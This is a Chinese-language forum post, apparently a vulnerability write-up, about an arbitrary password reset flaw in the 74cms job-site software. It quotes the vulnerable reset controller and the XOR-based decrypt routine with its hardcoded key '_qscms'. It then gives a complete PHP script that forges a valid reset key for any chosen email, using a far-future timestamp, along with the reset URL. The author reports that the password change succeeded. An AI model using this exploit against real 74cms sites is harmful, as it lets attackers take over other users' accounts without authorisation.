74cms任意用户密码修改
这个任意用户密码修改比较垃圾，随便讲一下public function user_setpass(){
if(IS_POST){
$retrievePassword = session('retrievePassword');
if($retrievePassword['token'] != I('post.token','','trim')) $this->error('非法参数！');
$user['password']=I('post.password','','trim,badword');
!$user['password'] && $this->error('请输入新密码！');
if($user['password'] != I('post.password1','','trim,badword')) $this->error('两次输入密码不相同，请重新输入！');
$passport = $this->_user_server();
if(false === $uid = $passport->edit($retrievePassword['uid'],$user)) $this->error($passport->get_error());
$tpl = 'user_setpass_sucess';
session('retrievePassword',null);
}else{
parse_str(decrypt(I('get.key','','trim')),$data);
!fieldRegex($data['e'],'email') && $this->error('找回密码失败,邮箱格式错误！','user_getpass');
$end_time=$data['t']+24*3600;
if($end_time<time()) $this->error('找回密码失败,链接过期!','user_getpass');
$key_str=substr(md5($data['e'].$data['t']),8,16);
if($key_str!=$data['k']) $this->error('找回密码失败,key错误!','user_getpass');
if(!$uid = M('Members')->where(array('email'=>$data['e']))->getfield('uid')) $this->error('找回密码失败,帐号不存在!','user_getpass');
$token=substr(md5(mt_rand(100000, 999999)), 8,16);
session('retrievePassword',array('uid'=>$uid,'token'=>$token));
$this->assign('token',$token);
}
$this->_config_seo(array('title'=>'找回密码 - '.C('qscms_site_name')));
$this->display($tpl);
}
这里解密是用的decrypt函数，进去看一下：
function decrypt($txt, $key = '_qscms') {
$txt = passport_key(base64_decode($txt), $key);
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++) {
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}
function passport_key($txt, $encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
默认密钥位_qscms，而且写死了，调用时没有传入。
所以，这里存在任意用户密码修改漏洞。
编写如下生成代码：
<?php
function encrypt($txt, $key = '_qscms') {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(passport_key($tmp, $key));
}
function passport_key($txt, $encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
$email='example@xxx.com';
echo urlencode(encrypt(http_build_query(['e'=>$email, 'k'=>substr(md5($email.'9487070991'),8,16),'t'=>'9487070991'])));
获取key并替换到url中，可见这里直接可以修改用户example@xxx.com的密码了：
http://demo1.xxx.com//index.php?m=&c=members&a=user_setpass&key=$key
修改密码成功：
页:
[1]